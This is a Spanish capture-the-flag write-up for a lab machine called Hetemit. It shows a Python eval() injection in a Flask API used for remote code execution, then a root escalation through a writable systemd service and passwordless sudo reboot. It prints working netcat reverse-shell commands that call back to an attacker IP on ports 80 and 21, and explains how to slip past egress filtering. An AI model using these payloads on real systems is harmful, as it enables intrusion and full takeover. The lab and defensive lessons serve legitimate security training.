Hetemit
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Hetemit expone, entre otros servicios, una API REST en Flask en el puerto 50000 con dos rutas:/generatey/verify. La de verificación pasa el parámetrocodepor uneval()de Python (inyección por eval()):7*7devuelve49yos.system('...')ejecuta comandos, lo que da RCE comocmeeks. Ya dentro,sudo -lpermiterebootsin contraseña y el servicio/etc/systemd/system/pythonapp.servicees escribible; reescribimos suExecStartpara que corra comorooty forzamos el reinicio (servicio systemd escribible): al levantar, la reverse shell cae comoroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.234.11764 bytes from 192.168.234.117: icmp_seq=1 ttl=61 time=29.6 msBarremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.234.117PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open netbios-ssn
18000/tcp open biimenu
50000/tcp open httpnmap -p21,22,80,139,445,18000,50000 -sCV 192.168.234.117 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos))
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
18000/tcp open biimenu? (Ruby on Rails: "Action Controller: Exception caught")
50000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.8)Hay mucha superficie: FTP anónimo, Samba, un Apache de CentOS, algo en Ruby on Rails (18000) y, lo más prometedor, un Werkzeug/Flask en el 50000. Un servidor de desarrollo de Python expuesto suele esconder una API escrita a mano, que es justo donde aparecen los eval() peligrosos.
API REST - TCP 50000
Pedimos la raíz y la propia aplicación nos lista sus rutas: /generate y /verify. Vamos descubriendo qué espera cada una preguntando sin parámetros:
curl http://192.168.234.117:50000
curl http://192.168.234.117:50000/generate
curl http://192.168.234.117:50000/verify{'/generate', '/verify'}
{'email@domain'}
{'code'}/generate recibe un email y devuelve un token; /verify recibe un code. Probamos el flujo previsto:
curl http://192.168.234.117:50000/generate -d 'email=test@test.com'
curl http://192.168.234.117:50000/verify -d 'code=f660ab912ec121d1b1e928a0bb4bc61b15f5ad44d5efdc4e1c92a25e99b8e44a'f660ab912ec121d1b1e928a0bb4bc61b15f5ad44d5efdc4e1c92a25e99b8e44a
500 Internal Server ErrorEl token no validado revienta el servidor con un 500. Que un valor inesperado en code provoque una excepción de servidor (en vez de un simple "código incorrecto") sugiere que ese parámetro se procesa, no solo se compara.
Shell como cmeeks
eval() de Python en /verify: RCE
Para saber cómo se procesa el code, lanzamos las dos pruebas canónicas de inyección de plantilla y de evaluación. La diferencia entre ambas es la pista clave:
curl http://192.168.234.117:50000/verify -d 'code={{7*7}}'
curl http://192.168.234.117:50000/verify -d 'code=7*7'{{7*7}} -> 500 Internal Server Error
7*7 -> 49{{7*7}} falla (no es una plantilla Jinja), pero 7*7 se evalúa a 49: el servidor está pasando el parámetro por un eval() de Python (inyección por eval()), no por un motor de plantillas. Eso significa que podemos evaluar cualquier expresión, incluida una que ejecute comandos del sistema:
curl http://192.168.234.117:50000/verify -d 'code=os.system("whoami")'0El 0 es el código de retorno de os.system (éxito); la salida del comando no se nos devuelve, así que la ejecución es ciega. No importa: con RCE ciega basta una reverse shell. Como otros puertos altos no retornan por el filtrado de salida, apuntamos al 80 con nc. Dejamos Penelope a la escucha en el 80:
penelope 80Luego disparamos la reverse shell:
curl http://192.168.234.117:50000/verify -d "code=os.system('nc 192.168.45.227 80 -e /bin/bash')"
[+] Got reverse shell from hetemit~192.168.234.117-Linux-x86_64 😎 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[cmeeks@hetemit restjson_hetemit]$ whoami
cmeeksLa shell entra como cmeeks, el usuario del servicio Flask. Leemos la primera prueba:
cat /home/cmeeks/local.txt && whoami && ip a && hostname
8acff8f372d9a23ba82e5d9615301ea8Escalada de privilegios
Servicio systemd escribible + sudo reboot
Lo primero en la nueva shell es revisar qué puede hacer cmeeks con sudo:
sudo -lUser cmeeks may run the following commands on hetemit:
(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroffPoder reiniciar la máquina sin contraseña no parece gran cosa por sí solo, pero cobra sentido al buscar ficheros escribibles fuera de las rutas de sistema habituales:
find / -type f -writable 2>/dev/null | grep -vE 'home|var|proc|fs'/etc/systemd/system/pythonapp.serviceEl servicio que ejecuta la API es escribible por nuestro usuario. Es justo el patrón de servicio systemd escribible: si controlamos el .service y tenemos forma de reiniciar, controlamos un comando que systemd ejecutará con la identidad que pongamos. Vemos el original:
cat /etc/systemd/system/pythonapp.service[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
User=cmeeksLo reescribimos para que, en lugar de arrancar Flask como cmeeks, lance una reverse shell como root. El retorno apunta al 21, otro puerto de salida permitido:
nano /etc/systemd/system/pythonapp.service[Service]
Type=simple
ExecStart=nc 192.168.45.227 21 -e /bin/bash
User=rootCon el nc a la escucha en el 21 para la shell de root:
rlwrap nc -nlvp 21Forzamos el reinicio para que systemd recargue el servicio modificado:
sudo rebootAl levantar de nuevo, el ExecStart corre como root y la shell cae con privilegios de superusuario (el whoami devuelve root):

listening on [any] 21 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.117] 54420
whoami
rootLeemos la prueba final:
cat /root/proof.txt && ip a && whoami && hostname
67a99fa595be1d67e96f31368bb50971Cadena de ataque
API REST en Flask (TCP 50000)
│ /verify pasa el parametro code por eval() (7*7 -> 49; {{7*7}} falla)
│ os.system('nc ... 80 -e /bin/bash') -> reverse shell al puerto 80
▼
shell como cmeeks (local.txt)
│ sudo -l: NOPASSWD reboot/halt/poweroff
│ /etc/systemd/system/pythonapp.service escribible
│ ExecStart=nc ... 21 -e /bin/bash + User=root -> sudo reboot
▼
shell como root (proof.txt)Lecciones aprendidas
eval()sobre entrada del usuario es RCE, no una validación. El servidor evaluaba elcodecomo expresión Python; bastóos.system(...)para ejecutar comandos. La diferencia entre{{7*7}}(falla) y7*7(devuelve 49) distingue uneval()puro de una inyección de plantilla, y orienta la carga. Para evaluar datos externos hay que usarast.literal_evalo un parser acotado, nuncaeval/exec.- RCE ciega sigue siendo RCE.
os.systemno devolvía la salida, pero una reverse shell no la necesita; confirmar primero la ejecución (unpingo unwhoamiciego) evita disparar a ciegas. - Un permiso de reinicio + un fichero escribible es escalada a root. Ni
sudo rebootni el.servicepor separado bastan; juntos, systemd ejecuta comorootlo que el usuario escriba. Los.servicedeben ser deroot:rootcon644y no conviene concederrebootporsudoa cuentas de servicio. - El filtrado de salida marca el puerto de retorno. Tanto el foothold como la escalada retornaron por puertos ya abiertos (80 y 21); apuntar ahí sortea el control de egreso que bloquea los puertos altos.